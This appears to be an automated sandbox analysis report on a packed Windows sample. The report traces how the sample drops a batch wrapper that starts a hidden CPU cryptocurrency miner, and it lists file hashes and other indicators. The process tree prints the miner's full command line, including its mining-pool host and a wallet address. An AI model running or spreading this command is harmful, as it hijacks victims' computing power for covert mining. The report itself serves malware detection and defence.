73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
299s
platform
windows10-1703_x64
resource
win10-20231215-ja
resource tags

arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
14/02/2024, 10:46

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
1424	b2e.exe
2560	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
2560	cpuminer-sse2.exe
2560	cpuminer-sse2.exe
2560	cpuminer-sse2.exe
2560	cpuminer-sse2.exe
2560	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1312-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1312 wrote to memory of 1424	1312	batexe.exe	75
PID 1312 wrote to memory of 1424	1312	batexe.exe	75
PID 1312 wrote to memory of 1424	1312	batexe.exe	75
PID 1424 wrote to memory of 5052	1424	b2e.exe	76
PID 1424 wrote to memory of 5052	1424	b2e.exe	76
PID 1424 wrote to memory of 5052	1424	b2e.exe	76
PID 5052 wrote to memory of 2560	5052	cmd.exe	79
PID 5052 wrote to memory of 2560	5052	cmd.exe	79

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1312
- C:\Users\Admin\AppData\Local\Temp\99B0.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\99B0.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\99B0.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1424
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\9B65.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5052
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2560

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\99B0.tmp\b2e.exe

Filesize
11.6MB

MD5
8301885a416c146530668d2ce1128cb0

SHA1
6a07cdc120b8e68c18ceda82dbd7ac3dcd6ae16d

SHA256
a9b234005739a7b439949fd2ac7c2908548fceda2aa6eac4c9b00784cfd92445

SHA512
0d0ec804bad5b59e1097130ebc0d767c6475bd8b301fd9f2c1d5a5de98f2af228aa6a13893e89f287338da7b604e36097e000a0bba16f582d507434334ffbdbb

Download Submit
C:\Users\Admin\AppData\Local\Temp\99B0.tmp\b2e.exe

Filesize
14.4MB

MD5
bae72a0740b97f1f296f48fe0613c5dc

SHA1
48f0bae3b476e42b54e3833e42528f2a400d05d9

SHA256
6e1b8a710a5f3362a1e35f53dc2bb115f6734feba14f66cb50cf75992e785c14

SHA512
6eb315d3c784d502d632c7b8ae9b9adc39ef9a7a7182a49144392674fec33ecebacb814af47f6ebf4479d85acdb725cc49125d08c8ee90dbc58e645d86251e15

Download Submit
C:\Users\Admin\AppData\Local\Temp\9B65.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
8.5MB

MD5
f6b309697751e865b6ddcc536d1cd7b2

SHA1
786ad2a140ed45dac391f2dd39e0de2664db5e4f

SHA256
a128491bc3f393adb447443d0ad3079623f076c5581fbb2dac6da10bfd87b2e7

SHA512
23997bbff1264654c5eb665ebc73be368f2b2abb1a94bc02e9e9fff696bf65ffc3a969f691bea8eb0dfd9bd1c263dcc1c8528f7ea9a0debab0f2bb2b96e84b59

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
10.6MB

MD5
8f7be1490d10abf54813bd0855d496ff

SHA1
27587bf76ff9070553445f56faa1e3691dcb2b7d

SHA256
f0822a743f4090465c4942cb7b85f79c46ab19ac7e86e6baaf91e7e7b84b5b74

SHA512
c1f2f12a339767c4b1c77e338f68f9e9992ab1a82db69cbb85736f9cdd5b69b2addbac52e14b8d095e93fb8f9c140e48f8412465c2545cec7b952cbedec739d8

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
9.2MB

MD5
76fc8fb0256a353b3baefadc2e85a37e

SHA1
8b98e40bc55861931b9dd6107e7b56d095910591

SHA256
37537cd9e7f98540923f36e870afeb4aaa6a78e2e472a5c74fd5223f19090303

SHA512
b33e7c4692e8467df86d79c9f84ba420e98f20232e2b7ecde3a8977e2f3ae89e4dede5319962debc901a3043c04f1869fc067ca8db1ca745c3e2546a52033332

Download Submit
memory/1312-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/1424-4-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1424-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2560-42-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/2560-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2560-43-0x0000000076060000-0x00000000760F8000-memory.dmp

Filesize
608KB

Download
memory/2560-44-0x0000000001120000-0x00000000029D5000-memory.dmp

Filesize
24.7MB

Download
memory/2560-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2560-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2560-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2560-41-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/2560-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2560-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2560-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2560-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2560-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2560-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2560-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2560-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download